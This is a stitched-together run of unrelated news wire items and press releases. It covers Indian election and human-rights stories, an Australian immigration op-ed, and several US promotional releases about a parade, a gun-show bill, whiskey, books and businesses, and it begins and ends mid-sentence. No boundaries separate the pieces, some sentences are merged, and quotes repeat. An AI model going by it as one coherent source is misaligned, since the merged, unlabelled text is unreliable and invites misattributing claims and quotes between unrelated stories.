phase of elections is over on May 19. The producer of the film contended before the court that the poll body order suppresses the right to freedom of expression, and that it also opposes the clearance granted by Censor Board, the authority which grants permission for public screening. The bench headed by Chief Justice Ranjan Gogoi said the clearance from the Censor Board could not be used an instrument against the EC order. The bench observed that if the poll body is convinced that the film could tilt the balance, the film could influence voters, and give political mileage to one party, then Censor Board certificate has no relevance. The top court also rejected granting permission to screen the promo of the film before its formal release. Earlier, in a report to the Supreme Court, the Election Commission restated its decision to ban the release of PM Narendra Modi's biopic during the ongoing polls. The poll body officers after watching the film opined that there is high probability that a particular political party will gain electoral mileage, if the film is permitted to be released during the ongoing polls. Indicating the main reason for EC's ban on the film, the EC in its report said it believes that the drama revolving around the lead character has the potential to tilt the electoral balance in favour of a political party, therefore, the poll body is justified in its decision to release the film after the last phase of voting on May 19. The Election Commission submitted its report in the court through its counsel Rakesh Dwivedi. The bench directed the EC counsel to also share the report with the film's producer, who had moved the apex court challenging the commission's decision to ban its release despite getting the nod of the Central Board for Film Certification (CBFC). The EC in its report said that the movie is pivoted on popularizing the character Narendra Modi, and also portrayed him as a leader with no-compromise approach. "The content of the movie is uni-dimensional," said a source. Earlier, the poll body had said that release of the film is not justified after the model code of conduct has been put in place. The film producer has said that EC's ban is simply over-exaggeration. Hyderabad, April 26 : The National Human Rights Commission (NHRC) on Friday issued notice to Telangana government, seeking a detailed report on the goof-ups by the Board of Intermediate Education (BIE) resulting in failure of about three lakh students and suicide by 18. Taking suo moto cognizance of a media report that 18 students have committed suicide during last one week over failure in the Intermediate examinations, the Commission has issued a notice to the Chief Secretary, Government of Telangana calling for a detailed report in the matter within four weeks, including action taken against the guilty and relief, if any, provided to the aggrieved families. The panel took note of media reports that large-scale discrepancies by BIE has have triggered furore in the State. About three lakh students reportedly failed in the exams and the students and parents were staging protests. "It has been observed that the contents of the news reports, if true, raise the issues of serious lapses on the part of the authorities amounting to violation of human rights. A thorough probe into the matter is required not only to punish the guilty but to ensure that such incidents do not recur," the Commission said. According to the media reports, hundreds of students have failed to get even pass marks. The State Education Ministry, the Board and the government initially dismissed the allegations, but later gave in to the growing protests. The aggrieved students have also approached the High Court. The role of a private company, which was given the contract for processing the results, has come under the scanner. This work was being done earlier by the Centre for Good Governance which is a government agency. The Hyderabad-based private firm Globarena Technologies, who executed the work, was reportedly not competent enough to take up the job. The firm has, however, contended that it is capable of handling the task and that it had executed the contract, systematically. "As mentioned in the news report, around 10 lakh students took the class 12 exam in February 2018 and nearly 3.5 have failed, making it a gigantic task for the board to conduct supplementary exams for such a large number of students. The time is also running out for the students who have to appear in the entrance exams like in EAMCET, NEET and JEE etc," the Commission noted. Bhopal, April 26 : Pragya Singh Thakur, needs a full-time firefighting department on her campaign trail. Exasperated party leaders are sweating it out to defend her frequent inflammatory remarks. She has had to retract on her statements or her party had to do that on her behalf in the past one week since she was fielded to face Congress veteran Digvijaya Singh. On Thursday she called Digvijaya Singh a terrorist. There was a somersault the next day at the party's insistence. The Election Commission took note of her statement. She has already been warned over other such remarks. A full complement of the senior party officials such as Prabhat Jha (former state unit president) and party vice-president Vinay Sahasrabuddhe have been deployed to counsel her on public speaking. The party has clamped down on interviews. Reporters seeking to interview her are told to send the questionnaire in writing. Obviously either the answers are whetted or someone else writes the answers on her behalf. But such insulation is not enough. Her party members are struggling to convince the audiences about her merit as a political leader. The Election Commission has earlier ordered an FIR to be filed against her over the boast that she climbed the Babri Mosque structure to pull it down and clear the way to build the Ram Temple. The latest issue cropped up with the party leader Fatima Rasool Siddiqui politely declined to canvass for her saying it would be difficult to address the audience in Sadhvi's favour. Fatima had polled a good 56,000 votes and can ill-afford to overlook the sentiment in the constituency. The party has remained in damage-control mode. It is yet to respond to the new crisis. Fatima, a dentistry student who contest the November assembly election on the BJP ticket against the Congress heavy-weight Arif Aqueel, says she had joined the party on the call of former Chief Minister Shivraj Singh, who has good connect with the Muslim community. She felt comfortable in the party in spite of elements with communal bent of mind. Fatima's father, late Rasool Ahmed Siddiqui was a senior Congress leader who served as a minister for two terms. She still feels no need to quit the party. But campaigning for Sadhvi is a different proposition. "I don't believe in hurting religious sentiments. That is why I won't be able to work with her unless she apologises for her remarks", says Fatima. Pragya Singh had said she was proud of her role in the destruction of Babri mosque. "We had removed a blot from the country. We had gone to demolish the structure. I climbed atop the structure and broke it and I feel extremely proud that God gave me this opportunity". Pragya's defence is that she made the statement before being nominated as a candidate. Fatima's statement that "we do have good candidates like Alok Sanjar, Surendra Singh and Vishwas Sarang" is being interpreted differently. The BJP had earlier appealed to party workers to work for Pragya Singh Thakur. Senior party leader Vishwas Sarang hailed her as a symbol of nationalism. Vishwas Sarang says, "Pragya is our symbolic answer to those who wanted to break the country, those who had described Hindus as terrorist. We all will work together so that she can win". New Delhi, April 26 : Bharatiya Janata Party leader Krishan Kumar Sehrwat, having an active political life of 20 years as the member of the saffron party, on Friday joined the Aam Aadmi Party Welcoming him into the party, AAP leader Raghav Chadha said: "many senior leaders from across political parties have found a new home in AAP." Apart from Chadha, senior AAP leader and Political Affairs Committee member Durgesh Pathak and Tughlakabad MLA Sahiram Pehalwan, were present at the party office to complete official formalities and welcome Sehrawat into AAP. Speaking to the media, Sehrawat said he was inspired by policies and governance under the leadership of Chief Minister Arvind Kejriwal for the past four years. New Delhi, April 26 : The Delhi government has filed an FIR and ordered a probe involving a private school in Greater Kailash-II here after an underground fuel storage-cum-pumping station was found in the basement of the school with diesel storage of 2,500 litres. Speaking to the media at his residence, Delhi Deputy Chief Minister Manish Sisodia said he will meet the parents of students studying in K.R. Mangalam School on Monday. "The government has ordered an FIR and strict action against the school for running an illegal 2,500-liter diesel storage-cum-pumping station in the basement of the school. The parents have been continuously agitating and reaching out to the area MLA Saurabh Bharadwaj," Sisodia, also the Education Minister, said. Sisodia said the parents came to him with various complaints against the school. "The most alarming was the complaint about illegal diesel storage in the basement of the school premises which serves as an institution for at least 3,000 students. I had written to the Chief Secretary for an independent investigative raid with the DM, SDM, Fire Department and Delhi Jal Board in loop, which was conducted on April 20 and 22. "Today (on Friday), I held a review meeting with all officers to understand the outcome of the investigation. The fuel tank was found to be filled with diesel at the time of the raid. The students were studying on top of a varitable live bomb. The parents of that school and other schools are in a state of panic about the safety of their children," he said. He said he had ordered an FIR against the school and also ordered to seize the illegal water boring in the school, and the government has pulled out the diesel and dried the well with sand. "There will be strict action against other illegal activities too," Sisodia said. "I have fixed a meeting with all the parents of the school on April 29 to assure them that the security and health of the students are of top priority for the Delhi government. I would appeal to other parents too, to never hesitate in bringing such malpractices by private schools to our knowledge," he said, adding the branches of the school will be raided if there is a complaint. Bharadwaj, who was also with Sisodia, said the school is fully air-conditioned and expensive. It is attended mostly by the children of the upper class. "I am happy that the government took cognisance of how serious this issue was and strict action was taken against the school, despite Model Code Of Conduct. I am looking forward to the important interaction between parents and Sisodia in the school," he said. New Delhi, April 26 : Taking suo motu cognizance of a media report, the National Human Rights Commission (NHRC) on Friday issued notice to the West Bengal's Director General of Police seeking a detailed report within four weeks on the alleged police action in Howrah in which 20 persons, including the civic agency staff and lawyers, had received head injuries. It also sought a report on action taken against the "delinquent" police personnel and health status of the victims. Meanwhile, demanding action against the police personnel, the Bar Council of West Bengal observed black day throughout the state expressing solidarity with the lawyers of Howrah. Quoting media reports, a NHRC statement said the incident happened following the lawyers' face-off with the Howrah Municipal Corporation staff over parking. "It has observed that the contents of the news report, if true, raise serious issue of violation of human rights of the victims, who have sustained injuries in the incident. Apparently, the police personnel did not deal with the situation in a proper manner, which resulted in humiliation and physical injuries to the victims," the statement said. The incident was reportedly triggered after an elderly lawyer was allegedly turned away by the guard of the civic headquarters when he tried to park his vehicle in the civic agency's compound. Thereafter, the lawyers and the civic body staff fought for hours as many lawyers joined the protest against the guard. The civic staff, however, claimed that they were attacked first. Both sides threw stones and bricks at each other before the police intervened and chased away the lawyers. Agartala, April 27 : Tripura Police on Friday registered a case against one Anupam Paul, a social media user, for allegedly spreading fake information about a "divorce suit" filed against Tripura Chief Minister Biplab Kumar Deb by his wife Niti Deb. "An FIR was lodged by an individual with West Agartala police station, accusing Anupam Paul of forgery, defamation and criminal conspiracy. Police suspect that more people might be involved with Paul," Deputy Inspector General (DIG) of Tripura Police Arindam Nath told IANS. He said police are looking for Paul and further probe is on. "The accused has not been arrested yet as he might be outside the state. Police have conducted a search at Paul's home here. Paul has been accused of posting such fake messages on the social media previously." the DIG said. Following the postings on various social media platforms, the Chief Minister's wife Niti Deb, who is now in Delhi in connection with her medical treatment, told a local television channel over phone, "it was a fake news. This is a dirty rumour spread to gain political mileage". Biplab Deb, who is now in West Bengal for Lok Sabha election campaign, in a statement said that "such social media propaganda is a deep rooted conspiracy with "malafide intention". Deb, who became Chief Minister in March last year, is also the state President of the ruling Bharatiya Janata Party (BJP). BJP spokesman Ashok Sinha addressed a press conference and vehemently condemned the "fake social media campaign" and demanded strict action against the perpetrators for spreading the rumour of a "divorce suit filed against Deb by his wife in a Delhi court". GUEST OBSERVATION Immigration policy will be a major issue in the 2019 federal election. We know this because immigration has featured significantly at every Australian election since the 2001 children overboard election. David Marr and Marian Wilkinson argued in their 2003 book, Dark Victory, that willingness to play the race card in relation to boat people was a decisive factor in John Howards election victory. For Tony Abbott, Stop the boats was a major campaign theme when the Coalition won back government in the 2013 election. The current prime minister, Scott Morrison, rose to prominence as Abbotts unyielding immigration minister who stopped the boats. While the events of Christchurch may have cramped the opportunity for the Coalition to run hard on fear, promising to be tough on borders and tough on (Muslim) terrorism, the dog-whistle politics on the issue of refugees and asylum seekers will be there for those wanting to hear it. For Labor these policy issues have been difficult. It was Kevin Rudd who as PM declared that those arriving by boat would never be settled in Australia, irrespective of the validity of their claims for protection under the UN Refugee Convention. Labor supported efforts to get children out of detention on Manus Island, but doesnt want to give the conservatives too much space to convincingly advance a Labor weak on border security line. Humanitarian intake is growing The Coalition governments of Abbott, Turnbull and Morrison have in fact increased Australias annual humanitarian intake significantly. The number has risen from just over 13,750 to more than 18,000 though the government has not loudly broadcast this fact. In addition, Abbott in 2015 announced a one-off intake of 12,000 Syrian conflict refugees. Most of them arrived in 2017, effectively doubling the annual refugee intake in that year. Australia and the refugees coped well, demonstrating the nations capacity to significantly increase refugee intakes. Our research with newly arrived Syrian, Iraqi and Afghan refugee families suggests they are settling well in Australia, receiving a warm welcome from locals in the cities and regional centres. Employment and family reunification are their key worries. Labors shadow immigration minister, Shayne Neumann, has flagged a new temporary sponsored visa for the parents of migrants. Unlike the current visa, it does not have a cap and it might assist refugees to get their parents to Australia. Labor has announced it will increase the annual humanitarian intake of refugees to 27,000 by 2025. It will also abolish Temporary Protection Visas (TPVs). These visas provide boat arrivals who are found to be refugees the right to stay for only three years with work and study rights and access to Centrelink payments. As Labor argues, this places them in a permanent state of limbo. The Coalition parties have not announced their policy intentions in relation to humanitarian intakes or the rights of asylum seekers, including those who arrived by boat. At a time when Home Affairs Minister Peter Dutton scans the horizon for new boat arrivals, record number of asylum seekers are arriving by plane under tourist visas. In 2013-14, there were 18,718 asylum applications, including 9,072 boat arrivals. This had increased to 27,931 asylum applications, with no boat arrivals, by 2017-18. Department of Home Affairs Each year the Australia government sets the permanent immigration targets. Until recently this was set at 190,00. In practice just 162,000 immigrants have been admitted over the past year or so. A token cut and 2 new visas In this context Prime Minister Morrisons announcement that the permanent immigration target will be cut to 160,000 is really no change in immigration policy. There is nothing to see here if you dismiss the need to be loudly anti-immigration in the current populist political climate. The announcement is linked to congestion-busting in the major cities of Sydney and Melbourne. It is accompanied by the introduction of two new visa pathways the Skilled Work Regional (Provisional) Visa and the Skilled Employer Sponsored Regional (Provisional) Visa for skilled migrants to live and work in regional areas for five years. These visas offer the carrot of permanent residency at the end of three years to attract new immigrants to regional Australia. In addition, the budget announced that scholarships to the tune of $94 million over four years would be available to domestic and international students who study there. Temporary migrants exploited Most immigration policy debates centre on permanent immigration intakes, particularly of humanitarian immigrants and asylum seekers. Yet annual temporary migrant intakes international students, working holidaymakers and temporary skilled workers are three times greater than the permanent intake. Over 800,000 temporary migrants were in Australia in June 2018. One key policy issue is the exploitation of temporary migrant workers. The Turnbull government abolished the 457 temporary skilled migration visa because of increasing reports of abuse and exploitation by employers. One recent survey of 4,332 temporary migrant workers found increasing evidence of widespread exploitation of temporary migrant workers, including wage theft. Half of all temporary migrant workers may be underpaid. About one in three international students and backpackers earned $12 an hour or less about half the minimum wage. This issue goes not just to the ethics of maintaining a temporary migration program largely premised on migrant worker exploitation. It also resonates with Labors campaign for a living wage and the restoration of penalty rates for workers in response to the low rate of real wage growth in Australia, which constrains consumer demand. The 2019-20 federal budget allocated extra funding to the Fair Work Ombudsman to bolster enforcement action against employers who exploit vulnerable workers and announced the National Labour Hire Registration Scheme to target rogue operators in the labour hire industry. However, the research suggests wage theft is widespread in the small business sector, a key target for tax relief in the budget. It is an area of immigration policy that requires considerably more resources and punch. Jock Collins, Professor of Social Economics, UTS Business School, University of Technology Sydney This article is republished from The Conversation under a Creative Commons license. Read the original article. Attorney Anthony Suarez I was in the very first Puerto Rican Parade in New York in the 1950s, so it was a tremendous honor to be named the Grand Marshall of the parade last year as Im sure it is for [Orlando] Mayor [Buddy] Dyer this year. The free Puerto Rican Parade and Festival takes place on Saturday, April 27, from 11 a.m. to 10 p.m.. The parade starts at the intersection of Orange Avenue and Concord Street and ends with a festival at the Dr. Phillips Performing Arts Center, 445 S. Magnolia Avenue, Orlando, FL. I was in the very first Puerto Rican Parade in New York in the 1950s, so it was a tremendous honor to be named the Grand Marshall of the parade last year as Im sure it is for [Orlando] Mayor [Buddy] Dyer this year. Although this is only their third year in Florida, this parade is a long-standing tradition in our culture and a source of much pride, said Suarez. Added Christian Suarez, The parade will be dedicated to Orlando Police Chief Orlando Rolon, who is the citys first Hispanic police chief and from Puerto Rico. Additionally, the parade is honoring the municipality of Guanica. The FPRP has worked with the Mayor of Guanica, Mr. Santos Sera, to identify a student orchestra from Guanica, Puerto Rico. The parade flew students from Puerto Rico to Orlando to perform at the University of Central Floridas Barbara Ying Center on April 24. This revered annual event is a celebration of Puerto Rican culture, heritage and pride. The theme of this years parade is Healthcare is not an option, it is a necessity. The parade will include marching bands, cultural organizations, government organizations, local small businesses, as well as industry titan The Walt Disney Company. Last year Mickey and Minnie Mouse participated in the parade and the rumor is that the entire cast will make an appearance in 2019. This year the festival will include a health fair triage center inside of City Hall. Here, parade and festival attendees will have a chance to enjoy an entire range of health services including mammograms and pap smears at no cost. At the end of the parade a music festival will be held, which includes delicious food, craft vendors and live music from J Alvarez, Juan Luis Juancho, Nio Garcia, Casper El Magico, Julio Cesar Sanabria, Victor Sanabria, Jincho El Rustico, Elysanij and many more. Christian Suarez serves on the board of directors for the parade as the Parliamentarian, and has since its inception three years ago. He also serves the parade on the education committee. His role on the education committee consists of identifying and locating scholarship recipients, reviewing essay submissions, and awarding five $2,000 scholarships to students. He also works with the local high school marching bands and dance groups on the parade route and throughout the school year. Anthony Suarez, who has over 41 years of experience, is an award-winning attorney. He takes on high-profile criminal trials in Florida, as well as acting as a real estate broker and mortgage broker in New York and Florida. About Anthony Suarez, Suarez Law Group, P.A. Anthony Suarez has tried hundreds of jury trials and argued dozens of cases before appellate courts. Practice areas of Suarez Law Group include Contract, Criminal, Felony, Misdemeanor, Domestic Violence, Eviction, Foreclosure, Chapter 7 Bankruptcy, Insolvency, Insurance, Litigation, Real Estate, Short Sales, and Governmental Relations, including strategists for political campaigns. For more information, please call (407) 841-7373, or visit http://www.suarezcti.com/. For media inquiries, please call the NALA at 805.650.6121, ext. 361. The outlook for gun shows at the state-owned Del Mar Fairgrounds is looking bleaker. The Assembly voted 48-16 Thursday, April 25, to approve Assemblyman Todd Glorias bill to prohibit sales of guns and ammunition at the venue starting in 2021. The legislation now moves to the Senate, which is expected to schedule committee hearings in the coming weeks. It is likely to be well received there because Democrats possess a 28-10 majority. Also, Gloria and Senate President Pro Tempore Toni Atkins are both San Diego Democrats and longtime allies; Atkins endorsed Gloria in his 2020 bid for San Diego mayor in March. Gloria, whose Senate district includes the fairgrounds, has said the bill could end up on Gov. Gavin Newsoms desk by the fall. Newsom, a Democrat, was critical of sales of guns and ammunition on state-owned properties during his tenure as lieutenant governor. Today marks a major step forward for this bill and a major step toward making our communities safer by reducing the number of guns in our neighborhoods, Gloria said in a statement Thursday morning, April 25. The communities around the Del Mar Fairgrounds have been clear: they do not want these gun shows taking place on this state-owned land. With this bill, we are demonstrating that we value people over guns and are putting public safety first. The bills passage represents a win for advocates in the effort to permanently end the Crossroads of the West Gun Show, which traditionally has occurred five times a year in Del Mar for about 30 years and drawn thousands of attendees to each event. For most of its history, the Crossroads gun show received little scrutiny from the public board that runs the fairgrounds, the 22nd District Agricultural Association. That abruptly changed last year after 17 people died in a mass shooting at a high school in Parkland, Fla. Since then, gun shows like Crossroads have become a focal point for gun safety advocates and protesters, who frequently show up at association board meetings and outside the gun show. Amid mounting pressure the board elected to reevaluate and ultimately halt the gun show after Dec. 31, 2018, while staff developed a policy that would ban the sale and possession of firearms on the property outright. Gun rights advocates, gun owners and the gun show company were not conceding the fight, though. In late January, the family-owned company that operates Crossroads, Utah-based B&L Productions, filed a federal lawsuit against Del Mar Fairgrounds challenging the suspension. Their legal case argues that suspending the show violates First and Second Amendment rights, civil rights, the right to commercial speech, and the right of assembly. A month later Gloria introduced his proposed legislation to the state. It came on the heels of a similar bill introduced by two San Francisco assembly members that would ban gun and ammunition sales at the Cow Palace in Daly City. Last week the board of the Cow Palace moved on its own to ban gun shows at the venue. Tracy Olcott, president and general manager of B&L Productions, could not be reached for comment Thursday, April 25. In an interview in February Olcott said it was disappointing for a company like us, that we would be targeted on something that really isnt a problem associated with the gun shows. She added that for more than 40 years her familys company has supported the legal possession of firearms and its shows, which also occur in cities throughout Arizona, Nevada and Utah, are heavily regulated and closely monitored by law enforcement. We at Crossroads are opposed to gun violence, but we also want to do everything we can to fight for legal and lawful firearm-bearers in the state of California and elsewhere, she said. Glorias bill has drawn the ire of the National Rifle Association and Gun Owners of California, which said defeating the bill is a legislative priority. They appear to lack many allies in the Senate. Nine Republican senators and one Democratic senator have received A ratings from Gun Owners of California, for instance. Boone and Crockett Club Straight Rye Whiskey Boone and Crockett Whiskies, named after the iconic hunter-conservationist organization itself, is now available for distribution across Georgia and can be ordered via General Wholesale Company. The 86-proof Straight Bourbon is expertly distilled and aged for two years in charred oak barrels, offers a smooth, rich flavor with notes of smooth marzipan and tea nose balanced with spice and vanilla oak, and ending with a Smokey Camp Fire Finish. The handcrafted, 86-proof Rye Whiskey blends tastes of caramel, wild berries, and sweet corn and finishes with that signature Smokey Camp Fire Finish for a superb velvety texture and a brilliantly balanced palate. Boone and Crocketts 80-proof American Blended Whiskey combines a knowledge of great bourbon and tradition to create an easy sipping whiskey featuring tastes of buttery pecans, dried fruit, and sweet jams, wrapped up with notes of peppercorn and the Smokey Camp Fire Finish. Each of these whiskies are handcrafted for the American outdoorsman to honor their legacy of wildlife stewardship and conservation across the United States. Sportsmen have always, and will continue to, play a pivotal role in the health and vitality of wild places, wild things, and the opportunity to enjoy them. These whiskies that are sure to make the namesakes of the club, Daniel Boone and Davey Crockett, proud are now available to outdoor lovers across the state of Georgia. In partnership with Stone Road Media, Boone and Crockett Whiskey will also be aiding each store in sell-through by way of marketing initiatives. Please contact your local distributor today to get a taste of Boone and Crockett Whiskey! Contact: General Wholesale Company(404) 352-1041 Atlanta, Georgia Brittany Lampp, a registered nurse specializing in home health and psychiatric nursing, has completed her new book Fall of the Black Sun: a gripping narrative about a young extraordinary huntress and her moments of danger and spectacle against the mythical beings. Author Lampp shows readers a life of consequences brought about by decisions of the past: Branda is a twenty-one-year-old supernatural hunter, venator, caught in the middle of a holy war between angels and demons, the sides of which are not as clearly drawn as they should be. Her many years of wandering through reincarnation have taught her to be thorough, brutal, and unemotional. That is until her fight takes her to purgatory, where she meets Michael. Hes the only half-angel, half-human archangel in heaven and the best of both. He is the missing piece of her personality and the key to unlocking the prison she created for herself. It will take both of them to bring the light back to purgatory and kill the king of darkness, Ares, the god of war and Brandas brother from a previous life. They will face legendary creaturesthe kraken, chimera, and Drakon Pitaniosas well as vicious battles with Ares and his followers to free their people from the oppression of the Black Sun. Branda is dedicated to her mission, but is she capable of killing the brother she wronged so many years ago? Published by New York City-based Page Publishing, Brittany Lampps enthralling tale imparts a captivating plot that exudes with an inner grapple of upholding ones duty against ones family. Readers who wish to experience this electrifying work can purchaseFall of the Black Sun at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional New York based full-service publishing house that handles all of the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not bogged down with complicated business issues like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes and the like. Its roster of authors can leave behind these tedious, complex and time-consuming issues, and focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. Eli Moses, MD It is an honor to receive such a prestigious award. I am beyond grateful and welcome the responsibility of serving my community that comes with being a Top Doctor. Corneal Associates of New Jersey is proud to announce that Eli Moses, MD has been selected as a Top Doctor of 2019. This award presented by Castle Connolly reaffirms the confidence that existing patients have in their doctors medical expertise. Eli Moses, MD is a board-certified ophthalmologist that specializes in cataracts, corneal disorders, transplants, and laser vision correction. His clinical interests include surgical treatments for complex cataracts, laser-assisted cataract surgery, all-laser LASIK laser vision correction, treatments for keratoconus, and corneal diseases, such as endothelial keratoplasty (DSAEK, DMEK) and corneal-collagen crosslinking. He has a particular interest in medical education and is involved in the surgical instruction at ophthalmology training programs. It is an honor to receive such a prestigious award. says Dr. Eli Moses, I am beyond grateful and welcome the responsibility of serving my community that comes with being a Top Doctor. Dr. Moses is a national speaker, published author and a member of the American Academy of Ophthalmology, the American Society for Cataract and Refractive Surgery, the Cornea Society, and the International Society of Refractive Surgeons. In Spring 2017, Dr. Moses partnered Eversight New Jersey on a mission trip to the Philippines to perform corneal transplants on the people of Iloilo. Filipino medical professionals huddled around to observe Dr. Moses preformed the surgeries in hopes that they would be able to do these cases on their own in the future. With the help of Eversight, they were able to obtain a total of six corneas through their charitable services program, and four additional corneas were donated as well. The team screened hundreds of patients, and 10 were chosen that had very advanced vision diseases and little to no vision. The mission trip wouldnt have been possible without the gracious donors from the United States. Dr. Moses is very thankful for the opportunity to travel across the world, impacting lives with the gift of sight. To schedule an appointment with Eli Moses, MD, or any of the eye professionals at Corneal Associates, please visit CornealAssociates.com or call (973) 439-EYES (3937). About Corneal Associates of New Jersey Corneal Associates of New Jersey is a premier cornea and refractive practice. Since 1983, patients from around the country come for treatment of keratoconus, corneal diseases, LASIK surgery and treatment of dry eye disease. The doctors at Corneal Associates of New Jersey are cornea fellowship-trained and are considered one of the worlds leading practices for full thickness (PK) and partial thickness (DSEK) corneal transplants, having performed over 6,000 procedures. About Castle Connolly Medical LTD. Since 1991 Castle Connolly has been the nations leading source for identifying Top Doctors. Castle Connolly is dedicated to helping consumers find the best healthcare in America. Along with the Top Doctor digital series, their website http://www.CastleConnolly.com enables visitors to easily search for doctors by specialty, location, name, procedure, and illness. They also partner with over 40 magazines throughout the nation that exclusively publish Castle Connolly Top Doctors. Explorance holds the 4th position on the annual Canadian Best Workplaces list that celebrates high-value corporate culture. Monitoring learning measurements helps us know the level of alignment with business goals, which explains our recent ranking on this list. Explorance, the leading Learning Journey Analytics (LJA) solution provider, announces today that it ranks 4th on this years Great Place to Work Institutes Canadian companies list. Last year, the employee count more than doubled, resulting in positioning the company in the medium-size organization category. Even though Explorance changed categories, the company remained in the top 10. The secret recipe behind the continued recognition stems from the constant improvement which is part of its workplace culture and the alignment of business priorities with corporate learning practices tailored to employee needs. Explorance specializes in the design of solutions that measure effectiveness in Learning and Development (L&D) programs. We consider learning as a vital process that improves the impact that our employees have on the business growth. Monitoring learning measurements helps us know the level of alignment with business goals, which explains our recent ranking on this list, says Samer Saab, CEO of Explorance. Explorance shared more information about the link between company culture, learning measurements and employee development in a presentation given by Dr. John R. Mattox, II, Principal Consultant, at the Great Place to Work Conference. Great Place to Work is the global authority on high-trust, high-performance workplace cultures. It is a global research and consulting firm that provides the benchmarks, framework, and expertise needed to create, sustain, and recognize outstanding corporate cultures. In Canada, Great Place to Work produces both industry and demographic-specific Best Workplace lists. Five trust-building dimensions are taken into account to evaluate who makes it onto the annual national list: credibility, fairness, respect, camaraderie, and pride. Commitment to these dimensions during the development of new employee engagement strategies ensures the recognition of these high standards in organizations. To find out how your organization can achieve a similar ranking on the Great Place to Work list, learn more about learning and development effectiveness. About Explorance Explorance, a Learning Journey Analytics provider, supports organizations in making the right decisions with fact-based feedback data. Through its offerings, Blue and Metrics that Matter, Explorance is at the heart of the learning organization's continuous improvement strategies. By assessing needs, expectations, and competencies, organizations can analyze with the full picture in mind and monitor improvement over time. Founded in 2003, Explorance is headquartered in Montreal with business units in Chicago, Amsterdam, and Melbourne. Explorance's clients span a variety of learning organizations from various segments including academia, enterprise, consulting, and government across the globe. Since 2014, Explorance has been consecutively ranked as a top employer by the Great Places to Work Institute. David Rodgers, the tenth of eleven children born to a single mother in rural Alabama, has completed his book Works of the Gift: a compilation of poignant and devotional poetic works. David Rodgers wishes to share with readers, his gift. The intentions of this book are to support the Gospel of Jesus Christ. It is also aimed to inform, inspire, and uplift its readers. Published by New York City-based Page Publishing, David Rodgerss book is an inspirational collection of Christian poetry celebrating his faith and divine truth as revealed in the word of God. Readers who wish to experience this inspiring work can purchase Works of the Gift at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional New York-based, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not overwhelmed with logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and the like. Its roster of accomplished authors and publishing professionals allows writers to leave behind these complex and time-consuming issues to focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. Dr. Bob Polk, a retired intelligence analyst and former supervisor at the FBI and DIA analyst at US Strategic Command whose hobbies include writing and acrylic painting, has completed his book The Caspian Plot: a fast-paced and suspenseful tale of international intrigue and covert operations in the international stage. This story begins with insights into secret schemes that have a basis in the Caspian Sea, but also have far-reaching consequences in Central and Northern Europe. Iran is plotting to become a nuclear power in the Middle East. Russia wants to help, but for another reason. Egos of leaders are responsible for plans of hegemony and revenge that result in violation of international law and norms that, if unchecked, will redraw state boundaries and result in terrible losses for all antagonists drawn into these events. Published by New York City-based Page Publishing, Dr. Bob Polks book is a richly detailed thriller drawn from the imagination, knowledge, and experience of a career US intelligence analyst. Readers who wish to experience this engrossing work can purchase The Caspian Plot at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional New York-based, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not overwhelmed with logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and the like. Its roster of accomplished authors and publishing professionals allows writers to leave behind these complex and time-consuming issues to focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. Southern California Digital Marketing + Advertising Agency We've worked with ABI for years and are honored to be providing them web design, web development, and digital marketing services that will help grow this family-run enterprise. (Richard Uzelac, CEO) This April, GoMarketing has partnered up with Southern California IT firm, Advanced Business Innovations, Inc. (ABI), in an effort to build the local family-owned business a new website and offer SEO services that will generate more digital traffic and leads. Based out of Canoga Park since 1990, ABI is proud to be at the forefront of Information Technology consulting, solutions, and implementations for local and national businesses such as Fouts Electric, Total Woman Spa, Golds Gym, and Revolution Media. The family run enterprise specializes in business technology including but not limited to: Windows Server 2003, 2008, and 2011, Windows 7, Vista, XP Workstation, MAC Server and Workstation, 3Com and Allworx Phone Systems. Over the course of nearly 30 years, Advanced Business Innovations, Inc. has built a solid customer base, and they are now seeking to expand the scope of their clients, improve their online presence, and optimize their digital lead generation tactics. ABI has partnered up with GoMarketing to drive web traffic and deliver digital marketing results and assets in the hopes of increasing overall revenue and ROI. "At GoMarketing, we strive to continually provide effective digital marketing solutions that grow the businesses of all our clients, and this will be the case for our newest signing, Advanced Business Innovations, Inc.," states Richard Uzelac, CEO of GoMarketing. "We've worked with ABI for years and are honored to be providing them web design, web development, and digital marketing services that will help grow this family-run enterprise." For ABI, GoMarketing has developed direct marketing initiatives including web development, user-friendly web design, and SEO content creation and strategy. Among their list of clients, GoMarketing provides digital marketing strategies and online reputation management to businesses throughout the counties of Los Angeles and Ventura including: Brents Deli, Conejo Valley Heating & Air Conditioning, Lloyds Plumbing, and RTI Properties, Inc. As a full-service digital marketing and advertising agency, GoMarketing develops custom plans tailored to each clients needs from pay-per-click ads to email marketing campaigns, link building and management, and more. About Advanced Business Innovations, Inc. Advanced Business Innovations, Inc. (ABI) specializes in Information Technology consulting and support, critical systems response, audio/video technology, as well as phone system set-up and support. Family-owned and operated since 1990, ABI is committed to offering quality service to their clients by approaching each project with a deep knowledge and understanding of what businesses need for seamless IT functions. For more information on their services, speak to the ABI team directly by calling 818-702-9201 or visiting http://www.abinnovations.com. You can also request a free business evaluation here. About GoMarketing Based out of Thousand Oaks, California, GoMarketing uses the following mission statement to deliver digital marketing results to their clients: Understand. Engage. Succeed. Grow. Acting as online marketing professionals within a wide range of industry sectors, the GoMarketing team specializes in SEO, content strategy, website design and development, and more--providing a full suite of marketing solutions that generate online leads and sales to Southern California businesses. For more information on their custom marketing plans, contact GoMarketing directly at 805-413-7893 or visit 